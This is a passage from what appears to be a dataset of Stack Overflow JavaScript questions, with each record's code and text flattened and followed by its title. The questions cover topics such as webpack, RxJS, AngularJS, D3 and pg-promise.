'./**/*.server.ts ' ] } ) ] ) } ) ; // Configuration for server-side ( prerendering ) bundle suitable for running in Node const serverBundleConfig = merge ( sharedConfig , { resolve : { mainFields : [ 'main ' ] } , entry : { 'main-server ' : './ClientApp/boot.server.ts ' } , plugins : [ new webpack.DllReferencePlugin ( { context : __dirname , manifest : require ( './ClientApp/dist/vendor-manifest.json ' ) , sourceType : 'commonjs2 ' , name : './vendor ' } ) ] .concat ( isDevBuild ? [ ] : [ // Plugins that apply in production builds only new AngularCompilerPlugin ( { tsConfigPath : './tsconfig.json ' , entryModule : path.join ( __dirname , 'ClientApp/app/app.server.module # AppModule ' ) , exclude : [ './**/*.browser.ts ' ] } ) ] ) , output : { libraryTarget : 'commonjs ' , path : path.join ( __dirname , './ClientApp/dist ' ) } , target : 'node ' , devtool : 'inline-source-map ' } ) ; return [ clientBundleConfig , serverBundleConfig ] ; } ; `` ./node_modules/jquery-sparkline/jquery.sparkline.js '' : { `` id '' :101 , `` meta '' : { } } new webpack.ProvidePlugin ( { $ : 'jquery ' , jQuery : 'jquery ' } )",Including jquery-sparkline with webpack "JS : I recently ran into an issue at work in which , at least according to my knowledge of JavaScript , I got back an impossible result . I 'm hoping someone can explain whats going on here and why the actual results differ from my expected results.Expected results in consoleActual results in consoleCode id : a , x : 1id : b , x : 1id : c , x : 1 id : c , x : 1id : c , x : 2id : c , x : 3 function MyClass ( id ) { var x = 0 ; return function ( ) { return function ( ) { x += 1 ; console.log ( `` id : `` , id , `` , x : `` , x ) ; } } } function DoStuff ( id ) { var q = MyClass ( id ) ; response_callback = q ( ) ; setTimeout ( function ( ) { response_callback ( ) ; } , 50 ) ; } DoStuff ( `` a '' ) ; DoStuff ( `` b '' ) ; DoStuff ( `` c '' ) ;",Scope and Asynchronous JavaScript "JS : I presumed this could n't be called `` fixed point recursion '' because it was too straightforward . However , I recently realized it actually might be.Have I effectively implemented fixed point recursion ? Here 's the function in question : Here 's some additional context : The rest of the code is here , but the snippet above should be enough to follow . /* recursive kleisli fold */var until = function ( f ) { return function ( a ) { return kleisli ( f , until ( f ) ) ( a ) ; } ; } ; // The error monad 's bindvar bind_ = function ( f , m ) { return m.m === Success ? f ( m.a ) : m ; } ; var bind = function ( f , m ) { return m ! == undefined & & m.m ! == undefined & & m.a ! == undefined ? bind_ ( f , m ) : m ; } ; var kleisli = function ( f1 , f2 ) { return function ( a ) { return bind ( f2 , f1 ( a ) ) ; } ; } ;",Is this an implementation of a fixpoint combinator ? "JS : I have newest google chrome currently version 80.0.3987.87 . I copied example from JS docs which isand paste it to console . I should get Hello World but instead I have error : Uncaught SyntaxError : Unexpected token ' ( 'from second line where I declare private method . Why error , what is wrong with my environment ? I do n't think MDN docs are incorrect.. class ClassWithPrivateMethod { # privateMethod ( ) { return 'hello world ' } getPrivateMessage ( ) { return # privateMethod ( ) } } const instance = new ClassWithPrivateMethod ( ) console.log ( instance.getPrivateMessage ( ) ) // expected output : `` hello worl​d ''",Class private method in newest chrome "JS : From example where-col-in example and this answer , WHERE IN clauses should have query with parameters with following syntaxwhere data is an array.Now , when data is an empty array , it produces the following querywhich is a syntax error.Consider following statements : this worksthis does not workA similar error reported for squel library has answers on how knex and ruby 's sequel behaves in such scenario.Is this a bug or am I doing something wrong ? Could there be an alternate syntax which works for both scenarios.For instance , an alternate query using ANY works for both situations : What should be the best way to have WHERE col IN queries which could also handle empty arrays as params ? const response = await db.any ( 'SELECT * FROM table WHERE id IN ( $ 1 : csv ) ' , [ data ] ) SELECT * FROM users WHERE id IN ( ) const x = await db.any ( 'SELECT * FROM table WHERE id IN ( $ 1 : csv ) ' , [ [ 1 , 2 , 3 ] ] ) ; const y = await db.any ( 'SELECT * FROM table WHERE id IN ( $ 1 : csv ) ' , [ [ ] ] ) ; await db.any ( ` SELECT * FROM table WHERE id = ANY ( $ 1 ) ` , [ [ 1 , 2 , 3 ] ] ) ; await db.any ( ` SELECT * FROM table WHERE id = ANY ( $ 1 ) ` , [ [ ] ] ) ;",WHERE col IN Query with empty array as parameter "JS : Last week I answered an RxJS question where I got into a discussion with another community member about : `` Should I create a subscription for every specific side effect or should I try to minimize subscriptions in general ? '' I want to know what methology to use in terms of a full reactive application approach or when to switch from one to another . This will help me and maybe others to avoid unecesarry discussions.Setup infoAll examples are in TypeScriptFor better focus on question no usage of lifecycles/constructors for subscriptions and to keep in framework unrelatedImagine : Subscriptions are added in constructor/lifecycle initImagine : Unsubscribe is done in lifecycle destroyWhat is a side effect ( Angular sample ) Update/Input in the UI ( e.g . value $ | async ) Output/Upstream of a component ( e.g . @ Output event = event $ ) Interacton between different services on different hierarchiesExemplary usecase : Two functions : foo : ( ) = > void ; bar : ( arg : any ) = > voidTwo source observables : http $ : Observable < any > ; click $ : Observable < void > foo is called after http $ has emitted and needs no valuebar is called after click $ emits , but needs the current value of http $ Case : Create a subscription for every specific side effectCase : Minimize subscriptions in general My own opinion in shortI can understand the fact that subscriptions make Rx landscapes more complex at first , because you have to think about how subscribers should affect the pipe or not for instance ( share your observable or not ) . But the more you separate your code ( the more you focus : what happens when ) the easier it is to maintain ( test , debug , update ) your code in the future . With that in mind I always create a single observable source and a single subscription for any side effect in my code . If two or more side effects I have are triggered by the exact same source observable , then I share my observable and subscribe for each side effect individually , because it can have different lifecycles . const foo $ = http $ .pipe ( mapTo ( void 0 ) ) ; const bar $ = http $ .pipe ( switchMap ( httpValue = > click $ .pipe ( mapTo ( httpValue ) ) ) ; foo $ .subscribe ( foo ) ; bar $ .subscribe ( bar ) ; http $ .pipe ( tap ( ( ) = > foo ( ) ) , switchMap ( httpValue = > click $ .pipe ( mapTo ( httpValue ) ) ) .subscribe ( bar ) ;",When should I create a new Subscription for a specific side effect ? "JS : and i found one more issue with extjs editor.when i copy the and pasted in extjs htmleditor , its converted as Please suggest me for this as well , to get rid of formatting issues while copy paste from word to editor < ol type= '' A '' style= '' margin-top : 0pt ; margin-bottom : 0pt ; '' > < li style= '' line-height : 115 % ; font-size : 11pt ; margin-top : 0pt ; margin-bottom : 10pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Main Heading 1 < /span > < /li > < /ol > < p style= '' margin : 0pt 0pt 10pt 72pt ; line-height : 115 % ; text-indent : -18pt ; font-size : 11pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > 1. < /span > < span style='font : 7pt/normal `` Times New Roman '' ; font-size-adjust : none ; font-stretch : normal ; ' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; < /span > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Item 1 < /span > < /p > < p style= '' margin : 0pt 0pt 10pt 72pt ; line-height : 115 % ; text-indent : -18pt ; font-size : 11pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > 2. < /span > < span style='font : 7pt/normal `` Times New Roman '' ; font-size-adjust : none ; font-stretch : normal ; ' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; < /span > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Item 2 < /span > < /p > < p style= '' margin : 0pt 0pt 10pt 72pt ; line-height : 115 % ; text-indent : -18pt ; font-size : 11pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > 3. < /span > < span style='font : 7pt/normal `` Times New Roman '' ; font-size-adjust : none ; font-stretch : normal ; ' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; < /span > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Item 3 < /span > < /p > < ol type= '' A '' style= '' margin-top : 0pt ; margin-bottom : 0pt ; '' start= '' 2 '' > < li style= '' line-height : 115 % ; font-size : 11pt ; margin-top : 0pt ; margin-bottom : 10pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Main Heading 2 < /span > < /li > < /ol > < p style= '' margin : 0pt 0pt 10pt 72pt ; line-height : 115 % ; text-indent : -18pt ; font-size : 11pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > 1. < /span > < span style='font : 7pt/normal `` Times New Roman '' ; font-size-adjust : none ; font-stretch : normal ; ' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; < /span > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Item 1 < /span > < /p > < p style= '' margin : 0pt 0pt 10pt 72pt ; line-height : 115 % ; text-indent : -18pt ; font-size : 11pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > 2. < /span > < span style='font : 7pt/normal `` Times New Roman '' ; font-size-adjust : none ; font-stretch : normal ; ' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; < /span > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Item 2 < /span > < /p > < p style= '' margin : 0pt 0pt 10pt 72pt ; line-height : 115 % ; text-indent : -18pt ; font-size : 11pt ; '' > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > 3. < /span > < span style='font : 7pt/normal `` Times New Roman '' ; font-size-adjust : none ; font-stretch : normal ; ' > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; < /span > < span style= '' font-family : Calibri ; font-size : 11pt ; '' > Item 3 < /span > < /p > < ol style= '' list-style-type : upper-alpha ; direction : ltr ; '' > < li style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; '' > < p style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l2 level1 lfo1 ; '' > Main Heading 1 < /p > < /li > < /ol > < p > < font face= '' Times New Roman '' size= '' 3 '' > < br > < /font > < /p > < ol style= '' list-style-type : decimal ; direction : ltr ; '' > < li style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; '' > < p style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l5 level1 lfo2 ; mso-add-space : auto ; '' > Item 1 < /p > < /li > < li style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; ' > < p style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l5 level1 lfo2 ; mso-add-space : auto ; ' > Item 2 < /p > < /li > < li style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; ' > < p style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l5 level1 lfo2 ; mso-add-space : auto ; ' > Item 3 < /p > < /li > < /ol > < p > < font face= '' Times New Roman '' size= '' 3 '' > < br > < /font > < /p > < ol style= '' list-style-type : upper-alpha ; direction : ltr ; '' > < li style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; '' > < p style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l2 level1 lfo1 ; '' > Main Heading 2 < /p > < /li > < /ol > < p > < font face= '' Times New Roman '' size= '' 3 '' > < br > < /font > < /p > < ol style= '' list-style-type : decimal ; direction : ltr ; '' > < li style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; '' > < p style= '' color : rgb ( 0 , 0 , 0 ) ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l7 level1 lfo3 ; mso-add-space : auto ; '' > Item 1 < /p > < /li > < li style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; ' > < p style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l7 level1 lfo3 ; mso-add-space : auto ; ' > Item 2 < /p > < /li > < li style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; ' > < p style='color : rgb ( 0 , 0 , 0 ) ; font-family : `` Calibri '' , '' sans-serif '' ; font-size : 11pt ; font-style : normal ; font-weight : normal ; margin-top : 0in ; margin-bottom : 0pt ; mso-list : l7 level1 lfo3 ; mso-add-space : auto ; ' > Item 3 < /p > < /li > < /ol >",Paste from word to extjs editor "JS : Lets say we have this code segment : This code produces this weird result of 27 ! ! The issue seems to be with using the variable name as 'name ' which seems like a reserved keyword . But can anyone explain why this weird behavior ? var name = [ `` Apples '' , '' Oranges '' , '' Strawberries '' ] ; console.log ( name.length ) ;",var name produces strange result in Javascript "JS : I have contenteditable div as text editor Functionality needed is whatever the user writes or copy/paste in text editor turns into checkboxfor eg Case 1If User writes the following Test1 ( enter key pressed ) Test2 ( enter key pressed ) Test3 ( enter key pressed ) then there should be three checkbox for Test1 , Test2 , Test3 respectively And Case2when the user writes Parent1 ( enter key pressed ) Test1 ( enter key pressed ) Test2 ( enter key pressed ) Test3 ( enter key pressed ) In the above case there will be 4 checkbox parent1 and 3 li 's Things i have achieved but i am open to accept new way if more accurate.FIDDLE DemoBasically a new span , div , br tags or for that matter li 's should be created into checkboxes.If there is any different method which will fulfill both the requirement/basic requirement of creating checkboxes it is most welcome . $ ( ' # checkbox ' ) .click ( function ( ) { var $ p = `` '' ; var re = /\S/ ; $ p = $ ( '.outputBox ' ) ; $ p.contents ( ) .filter ( function ( ) { return this.nodeType == 3 & & re.test ( this.nodeValue ) ; ; } ) .wrap ( ' < label > < input type= '' checkbox '' name= '' field_1 '' value= '' on '' / > ' ) } ) ;",convert paragraph or new elements into checkbox "JS : I tried to set a cursor as a session variable looks like it is not working.Anyone has idea about it ? ? My Code : looks like it 's not working Meteor.call ( 'apiresult ' , function ( e , result ) { console.log ( result ) ; Session.set ( `` object '' , result ) } ) ; //getting variable var abc=Session.get ( `` object '' ) ; return abc.skimlinksProductAPI.numFound ;",Can we set cursor as a session variable ? "JS : Currently , I can fetch the GET params via $ location. $ $ search.However , I still have no idea how to do 2 way binding for the URL and FORM on the following case.As the following demo picture , when user updates the FORM elements the corresponding URL should be : https : //lazyair.co/en/user/quick_search/index # ? from=TOKYO & to=TAIPEI & depart=2016/06/03~2016/06/06 & return=2016/06/08~2016/06/11 & chart_type=column & depart_slider=10:00~24:00Demo page : https : //lazyair.co/en/user/quick_search/indexSliderbar directive JavaScript codeHTMLurl params were cleared in $ rootScope.Scope # $ digest cycleI put a breakpoint inside $ locationChangeSuccess and found the url params were cleared in $ rootScope.Scope # $ digest cycleThe 2-way binding not working on directiveThe 2-way binding not working on directive , Actually the 2-way binding works on View , but not working on URL paramsDEMO page http : //133.130.101.114:3000/en/user/quick_search/indexcontroller ( register departChartName and show its value with input box ) slider directive 'use strict ' ; quick_search_app.directive ( 'ionslider ' , function ( $ timeout ) { var get_hour_minute , getHHMMformat , isDepartureAtInInterval ; get_hour_minute = function ( value ) { var hours , minutes ; hours = Math.floor ( value / 60 ) ; minutes = value - ( hours * 60 ) ; if ( hours.length === 1 ) { hours = ' 0 ' + hours ; } if ( minutes.length === 1 ) { minutes = ' 0 ' + minutes ; } return [ hours , minutes ] ; } ; getHHMMformat = function ( values ) { var hours , minutes ; hours = values [ 0 ] .toString ( ) ; minutes = values [ 1 ] .toString ( ) ; if ( hours.length === 1 ) { hours = ' 0 ' + hours ; } if ( minutes.length === 1 ) { minutes = ' 0 ' + minutes ; } return hours + ' : ' + minutes ; } isDepartureAtInInterval = function ( departure_at , slider ) { var t = new Date ( Date.parse ( departure_at ) ) var HHMM_in_minutes = t.getUTCHours ( ) *60 + t.getMinutes ( ) ; return slider.from < = HHMM_in_minutes & & slider.to > = HHMM_in_minutes ; } var updateFlighSeries = function ( slider , flight_series ) { $ .each ( flight_series , function ( ) { var current_series = this ; angular.forEach ( current_series.data , function ( value , key ) { if ( isDepartureAtInInterval ( value.departure_at , slider ) ) { this.visible = true ; } else { this.visible = false ; } } , current_series ) ; } ) ; } return { restrict : 'AE ' , scope : false , controller : 'quick_search_ctrl ' , link : function ( scope , element , attr , ctrl ) { $ ( element ) .ionRangeSlider ( { hide_min_max : true , keyboard : true , min : 0 , max : 1440 , from : 0 , to : 1440 , type : 'double ' , step : 30 , prefix : `` '' , chartConfig : element.attr ( `` chart-config '' ) , grid : true , prettify : function ( value ) { return getHHMMformat ( get_hour_minute ( value ) ) ; } , onChange : function ( slider ) { var _this = this ; updateFlighSeries ( slider , scope [ _this.chartConfig ] .series ) angular.forEach ( scope.chart_names , function ( chart_cfg_name ) { scope. $ apply ( function ( ) { scope.lowestFlights [ chart_cfg_name ] = angular.copy ( scope.filterLowestPrice ( scope [ chart_cfg_name ] ) ) console.log ( scope.lowestFlights [ chart_cfg_name ] ) } ) ; } , scope ) } } ) ; } } } ) ; < ui-select.selectpicker { : theme = > `` select2 '' , `` ng-disabled '' = > `` disabled '' , `` ng-model '' = > `` from '' , : name = > `` from '' , : theme = > `` select2 '' , `` ng-change '' = > '' updateDeparture ( from ) '' , : style = > `` width : 200px ; '' , : required = > `` '' } < ui-select-match { `` ng-cloak '' = > '' '' , : placeholder = > t ( `` from '' ) } { { $ select.selected.t_name } } { { $ select.selected.name } } < /ui > < /ui > < ui-select.selectpicker { `` ng-disabled '' = > `` disabled '' , `` ng-model '' = > `` to '' , : name = > `` to '' , : theme = > `` select2 '' , `` ng-change '' = > '' updateArrival ( to ) '' , : style = > `` width : 200px ; '' , : required = > `` '' } < ui-select-match.selectpicker { `` ng-cloak '' = > '' '' , : placeholder = > t ( `` to '' ) } { { $ select.selected.t_name } } { { $ select.selected.name } } < /ui > < ui-select-choices { : repeat = > `` node in arrivals | filter : $ select.search '' } < span ng-bind-html= '' node.t_name | highlight : $ select.search '' > < /span > < span ng-bind-html= '' node.name | highlight : $ select.search '' > < /span > < /ui > < /ui > app.run ( function ( $ rootScope ) { $ rootScope. $ on ( ' $ locationChangeSuccess ' , function ( ) { debugger console.log ( ' $ locationChangeSuccess changed ! ' , new Date ( ) ) ; } ) ; } ) ; $ scope.departChartName = `` yoyoyo '' urlBinder.bind ( $ scope , `` departChartName '' , `` DPNAME '' ) app.directive ( 'ionslider ' , function ( $ timeout ) { return { restrict : 'AE ' , scope : false , link : function ( scope , element , attr , ctrl ) { $ ( element ) .ionRangeSlider ( { chartName : element.attr ( `` chart-name '' ) , onChange : function ( slider ) { scope [ this.chartName ] = slider.from+ '' ~ '' +slider.to scope. $ apply ( ) ; } } ) ; } } } ) ;",Two way binding with URL get params and Form value ( options and sliderbar ) "JS : I am using HTML , CSS , JavaScript in Rails.My images are stored in my app/assets/images folder.My audio ( for onClick event listener ) is stored in my public/audios folder.I am looking to layer images on top of each other so I can target each individual image to set different JavaScript onClick event listeners , but these images are being rendered with an invisible background ? that is interfering with clicking on images it is layered on top of.Stand-alone , my icons ( gif ) do not have a background.Sampling of icons without backgrounds for reference : http : //findicons.com/search/gifTo highlight that there is an invisible background to the image , the bottom icon , this is the icon highlighted , clicking in the background of the icon ( it 's highlighted ) also initiates the JavaScript onClick event listenerI use the rails command to render the image on my page.My css targeting the divTo lessen the amount of text and confusion , I am leaving out code that shows the layering icons on top of each other.My .js filePlease advise how I can click on each rendered image that is visibly layered behind each other ( JavaScript onClick event listeners added to each individual image ) without hitting the invisible background of an image that is layered on top of it.Eliminating the invisible background is a solution I have not been able to find.I am trying to make a dartboard by layering images on top of each other and make each parts of the dartboard clickable ( onClick event listeners ) .EDIT : Just editted my last 3 paragraphs to make it easier to understand < div id= '' id3 '' > < % = image_tag `` gif_file.png '' % > < /div > # id3 { position : absolute ; } var soundright = ' < audio autoplay= '' autoplay '' src= '' /audios/hello.wav '' > < /audio > 'var sound = document.getElementById ( 'sound ' ) ; var icon = document.getElementById ( 'id3 ' ) ; $ ( icon ) .click ( function ( ) { $ ( sound ) .html ( soundright ) ; } ) ;","Image layering , click on icon without hitting background" "JS : I need to override the following codeHere the function will be executed in the next tickwith this , Since the function will be called immediately , Does in this case it won ’ t be executed on next tick ? req.nextTick = typeof setTimeout ! == 'undefined ' ? function ( fn ) { setTimeout ( fn , 5 ) ; } : function ( fn ) { fn ( ) ; } ; window.require.nextTick = function ( fn ) { fn ( ) ; } ;",Next tick override functionality does function will be called "JS : I am trying to make a script for Photoshop which resizes an open image in different sizes where only the width matters . The goals is to after every resize it should reinstate the original state of the image and run for a different width . There are some scripts online which nearly do this but I only get errors . The error I get is `` undefined is not an object '' . I have the following script at the moment but I am stuck : The undefined error is stopping the script at the var newName line . I have to add that is for Photoshop CS6.Any help would be very appreciated thanks . // get a reference to the current ( active ) document and store it in a variable named `` doc '' doc = app.activeDocument ; // these are our values for the END RESULT width and height ( in pixels ) of our imagevar fWidth = 940 ; // our web export optionsvar options = new ExportOptionsSaveForWeb ( ) ; function SaveJPEG ( saveFile , quality ) { var exportOptionsSaveForWeb = new ExportOptionsSaveForWeb ( ) ; exportOptionsSaveForWeb.format = SaveDocumentType.JPEG ; exportOptionsSaveForWeb.includeProfile = false ; exportOptionsSaveForWeb.interlaced = false ; exportOptionsSaveForWeb.optimized = true ; exportOptionsSaveForWeb.quality = 80 ; } var newName = ' F ' + doc.name + '.jpg ' ; doc.exportDocument ( File ( doc.path + '/ ' + newName ) , ExportType.SAVEFORWEB , options ) ; doc.activeHistoryState = doc.historyStates.index ( 0 ) ;",Javascript resize image in different sizes where only the width matters "JS : I 'm attempting to use Go to implement a binary tree with values on the leaf , i.e. , equivalent to : I had two problems : 1 , I could n't figure a way to make a type with multiple constructors , so I had to fit all data in one . 2 , I could n't make it polymorphic , so I had to use interface { } ( which I guess is an `` opt-out '' of the type-system ? ) . This is the best I could make : It implements the type and tests it by summing over a huge generated tree . I 've proceeded to make an equivalent implementation in JavaScript ( including the redundant data on constructors , for fairness ) : I 've compiled the Go code with go build test.go and ran it with time ./test . I 've ran the Node.js code with node test.js . After several tests , the Go program ran in about 2.5 seconds in average , versus 1.0 seconds of the Node.js one . That makes Go 2.5x slower than Node.js for this simple program , which ca n't be correct , given that Go is a statically-typed , compiled language with a mature compiler , whereas JavaScript is an untyped , interpreted one.Why is my Go program so slow ? Am I missing some compiler flag , or is the code problematic ? data Tree a = Node { left : Tree , right : Tree } | Leaf { value : a } package mainimport ( `` fmt '' ) type Tree struct { IsLeaf bool Left *Tree Value interface { } Right *Tree } func build ( n int ) *Tree { if ( n == 0 ) { return & Tree { IsLeaf : true , Left : nil , Value : 1 , Right : nil } } else { return & Tree { IsLeaf : false , Left : build ( n - 1 ) , Value : 0 , Right : build ( n - 1 ) } } } func sum ( tree *Tree ) int { if ( tree.IsLeaf ) { return tree.Value . ( int ) } else { return sum ( tree.Left ) + sum ( tree.Right ) } } func main ( ) { fmt.Println ( sum ( build ( 23 ) ) ) } const build = n = > { if ( n === 0 ) { return { IsLeaf : true , Value : 1 , Left : null , Right : null } ; } else { return { IsLeaf : false , Value : 0 , Left : build ( n - 1 ) , Right : build ( n - 1 ) } ; } } const sum = tree = > { if ( tree.IsLeaf ) { return tree.Value ; } else { return sum ( tree.Left ) + sum ( tree.Right ) ; } } console.log ( sum ( build ( 23 ) ) ) ;",Why this simple Go program is slower than its Node.js counterpart ? "JS : I updated Colorbox.min.js file from v1.3.19 to v1.4.6 and some of my colorboxes does n't work . I do n't get any error on page and Chrome 's console.I checked for changelog but I did n't find the anser . Can you help please ? ( I use jQuery 1.7.2 ) This does n't work : This works well : < a href= '' # '' onclick= '' emailDialog ( ) '' > e-mail < /a > function emailDialog ( ) { $ .fn.colorbox ( { width : '' 700px '' , height : '' 550px '' , iframe : true , href : '' /contact '' , opacity:0.6 } ) ; } < a href= '' http : //example.com/1.jpeg '' class= '' colorbox-avatar '' title= '' some title '' rel= '' nofollow '' > photo < /a > $ ( document ) .ready ( function ( ) { $ ( `` .colorbox-avatar '' ) .colorbox ( { rel : 'colorbox-avatar ' , scrolling : false , current : `` '' , slideshow : true , slideshowAuto : false , opacity:0.6 , width : '' 60 % '' , height : '' 60 % '' } ) ; }",Colorbox does n't work after update from v1.3.19 to v1.4.6 "JS : In JavaScript , how is the following statement to be interpreted : This is an excerpt from the lineinside a production application . chrome seems to be fine with it , but on ios this causes an error reading It looks as if ios turns ! await f ( ) into ( ! await ) ( f ( ) ) instead of ! ( await f ( ) ) .Now to my question : According to ECMA-262 what is the correct interpretation of the above line ? p.s . : We have fixed the code for ios by changing it to cond1 & & ! await f ( ) if ( cond1 & & ! await f ( ) ) { do_stuff ( ) ; } unexpected identifier ' f ' . Expected ' ) ' to end an if condition . var f_result = await f ( ) ; if ( cond1 & & ! f_result ) { do_stuff ( ) ; }",operator precedence : ! and await "JS : Let 's say for example , I want to create a rot13 template tag . You could use it like this : Now I could implement this tag in JavaScript , but I want to pre-parse it such that my compiled bundle would actually contain : How can I do this ? Do I have to create a Babel plugin to hook into their parser ? What would that look like ? Now what if I want Webpack to also spit out a file called rotated_strings.txt which contains a list of all these strings that have been transformed ? How do I collect them up ? i.e. , how do I get Babel and Webpack to communicate such that Babel can do the inline transform but somehow notify Webpack to generate this extra file ? let secret = rot13 ` This is a secret. ` ; let secret = `` Guvf vf n frperg . `` ;",How to use webpack/babel to preparse JS template strings ? "JS : We have projects , which are assigned to different teams . Now I have to create project timelines.For the purposes of this question I have created a dummy in jsfiddle.net.https : //jsfiddle.net/cezar77/6u1waqso/2The `` dummy '' data look like this : The time is displayed on the x axis and there is a horizontal bar for every project stretching from the start_date to the end_date.On the left side , on the y axis , I 'd like to display the teams ( see the labels on the left side in the jsfiddle ) and create a gridline for each team , separating the groups of projects . Because each team has a different number of projects , the gridlines should be placed at different distances.I tried to use a threshold scale on the off chance : but when I call it : it throws an error.Is it appropriate to use a scale and axis for this purpose ? If yes , how should I approach the problem ? If using a scale and axis is a wrong approach , are there any other methods provided by D3.js for this purpose ? const projects = [ { 'name ' : 'foo ' , 'team ' : 'operations ' , 'start_date ' : '2018-01-01 ' , 'end_date ' : '2019-12-31 ' } , { 'name ' : 'bar ' , 'team ' : 'operations ' , 'start_date ' : '2017-01-01 ' , 'end_date ' : '2018-12-31 ' } , { 'name ' : 'abc ' , 'team ' : 'operations ' , 'start_date ' : '2018-01-01 ' , 'end_date ' : '2018-08-31 ' } , { 'name ' : 'xyz ' , 'team ' : 'devops ' , 'start_date ' : '2018-04-01 ' , 'end_date ' : '2020-12-31 ' } , { 'name ' : 'wtf ' , 'team ' : 'devops ' , 'start_date ' : '2018-01-01 ' , 'end_date ' : '2019-09-30 ' } , { 'name ' : 'qwerty ' , 'team ' : 'frontend ' , 'start_date ' : '2017-01-01 ' , 'end_date ' : '2019-01-31 ' } , { 'name ' : 'azerty ' , 'team ' : 'marketing ' , 'start_date ' : '2016-01-01 ' , 'end_date ' : '2019-08-31 ' } , { 'name ' : 'qwertz ' , 'team ' : 'backend ' , 'start_date ' : '2018-05-01 ' , 'end_date ' : '2019-12-31 ' } , { 'name ' : 'mysql ' , 'team ' : 'database ' , 'start_date ' : '2015-01-01 ' , 'end_date ' : '2017-09-15 ' } , { 'name ' : 'postgresql ' , 'team ' : 'database ' , 'start_date ' : '2016-01-01 ' , 'end_date ' : '2018-12-31 ' } ] ; const yScale = d3.scaleThreshold ( ) .domain ( data.map ( d = > d.values.length ) ) .range ( data.map ( d = > d.key ) ) ; const yAxis = d3.axisLeft ( yScale ) ; svg.append ( ' g ' ) .attr ( 'class ' , ' y-axis ' ) .call ( yAxis ) ;",Create a scale for bands with different width in D3.js "JS : I have a html table that contains an ng repeat directive and two button.The first one will open a modal that contains a new form and let me create my user and then when i click save it will add it to the list.The second one is in the same original form and do the add a user.What i did not understand why when i click on the first button which is in a different form i can not update the ng repeat however for the second one it 's possible.This is the code : homepage.jspuser_controller.jscreateUserContent.jsp < body ng-app= '' myApp '' > < div class= '' generic-container '' ng-controller= '' UserController as ctrl '' > < div id= '' createUserContent.jsp '' ng-include= '' createUserContent '' > < /div > < table > < tr > < td > < button type= '' button '' class= '' btn btn-primary '' ng-click= '' ctrl.openCreateUser ( ) '' > Create < /button > < /td > < /tr > < /table > < table class= '' table table-hover '' > < thead > < tr > < th > ID. < /th > < th > Name < /th > < th > Address < /th > < th > Email < /th > < th width= '' 20 % '' > < /th > < /tr > < /thead > < tbody > < tr ng-repeat= '' u in ctrl.users '' > < td > < span ng-bind= '' u.ssoId '' > < /span > < /td > < td > < span ng-bind= '' u.firstName '' > < /span > < /td > < td > < span ng-bind= '' u.lastName '' > < /span > < /td > < td > < span ng-bind= '' u.email '' > < /span > < /td > < /tr > < /tbody > < /table > < /div > < /body > 'use strict ' ; App.controller ( 'UserController ' , function ( $ scope , UserService , $ window , $ log , $ uibModalStack , $ uibModal , $ rootScope ) { var self = this ; self.users = [ ] ; self.fetchAllUsers = function ( ) { console.log ( ' -- -- -- -- -- Start Printing users -- -- -- -- -- ' ) ; for ( var i = 0 ; i < self.users.length ; i++ ) { console.log ( 'FirstName ' + self.users [ i ] .firstName ) ; } } ; /** this function will not work **/ self.saveUser = function ( user ) { self.users.push ( user ) ; self.fetchAllUsers ( ) ; $ log.log ( `` saving user '' ) ; $ uibModalStack.dismissAll ( ) ; } ; /** this function works fine **/ self.addNewRow = function ( ) { var specialUser = { id : 12 , firstName : 'john ' , lastName : 'travolta ' , homeAddress : { location : 